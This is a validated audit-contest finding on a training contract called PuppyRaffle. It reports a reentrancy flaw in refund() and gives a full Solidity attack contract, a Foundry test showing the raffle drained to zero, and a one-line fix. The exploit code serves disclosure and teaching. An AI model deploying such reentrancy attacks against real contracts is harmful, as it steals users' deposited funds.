Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Updating state after transfer in `refund` exposes the contract to reentrancy attacks.

Summary

The refund function updates the contract’s state after transferring the entrance fee to the sender, making it vulnerable to reentrancy attacks.

Vulnerability Details

The function refund doesn't follow the CEI (Checks, Effects, Interactions) pattern in a proper way.

Specifically, the function updates the state post-interaction, exposing the contract to potentials reentrancy attacks.

In the refund function, the state update (removal of the sender from the array of players) happens post-transfer of the entranceFee.

This could allow a malicious contract to repeatedly call the refund function, thereby draining the PuppyRaffle funds.

Impact

This issue can lead to a scenario where the PuppyRaffle gets completely drained of funds.

Here's my PoC:

I created a contract that performs a reentrancy attack to the PuppyRaffle contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {IPuppyRaffle} from "./interfaces/IPuppyRaffle.sol";
/**
* @title AttackRaffle
* @author Luke4G1
* @notice A contract that attacks the PuppyRaffle to steal its funds.
* @dev Other functions for managing access controll or withdrawing funds are not implemented on purpose.
* The contract implements only the logic that shows how the PuppyRaffle reentrancy vulnerability can be exploited.
*/
contract AttackRaffle {
IPuppyRaffle puppyRaffleVictim; // @dev interface of PuppyRaffle to attack
uint256 index; // @dev it will be the index of the contract in the array participants
address thisAddress; // @dev the address of this contract
address[] participantsArray;
constructor(address victimAddress) {
puppyRaffleVictim = IPuppyRaffle(victimAddress);
thisAddress = address(this);
}
/**
* @dev this function executes each time the contract receives some ETH
* @dev it calls the 'refund' function until the balance of the PuppyRaffle is 0.
*/
receive() external payable {
if (address(puppyRaffleVictim).balance > 0) {
puppyRaffleVictim.refund(index);
} else {
return;
}
}
/**
* @notice This function enters the lottery and calls 'refund' for the first time.
* @dev The function does participate in the lottery this contract, making sure that 'refund' ca be called.
* The function is 'payable' in order to allow the contract to be fund without triggering the 'receive' function.
*/
function triggerAttack() public payable {
participantsArray.push(thisAddress); // push the address of the contract in the array of participants
puppyRaffleVictim.enterRaffle{value: 1 ether * participantsArray.length}(participantsArray); // enter raffle
index = puppyRaffleVictim.getActivePlayerIndex(thisAddress); // get the index of the contract address in the arry of participants
puppyRaffleVictim.refund(index); // call refund for the first time
}
}

This test illustrates how all the PuppyRaffle funds can be stolen, simulating a reentrancy attack from AttackRaffle.

function testAttackerCanStealFunds() public {
// Arrange
// @dev deploy new instance of Attack raffle
AttackRaffle attacker = new AttackRaffle(address(puppyRaffle));
// @dev create and populate participants array
address[] memory participants = new address[](3);
participants[0] = playerOne;
participants[1] = playerTwo;
participants[2] = playerFour;
uint256 participantsFee = entranceFee * 3;
// Act
puppyRaffle.enterRaffle{value: participantsFee}(participants); // @dev enter raffle
// @dev AttackRaffle enters the raffle, calls 'triggerAttack' and empties the PuppyRaffle
attacker.triggerAttack{value: entranceFee}();
// Assert
assert(address(puppyRaffle).balance == 0); // PuppyRaffle's balance should be 0
assert(address(attacker).balance == participantsFee + entranceFee); // AttackRaffle's balance should have stolen all the entrance fees
}

Tools Used

  • foundry

Recommendations

To fix this, modify the refund function's logic in order to update the state before execution of the transfer operation.

+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);

Updating the state before the transfer happens will ensure that the refund function will send back the entrance fee to the player without any risk.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!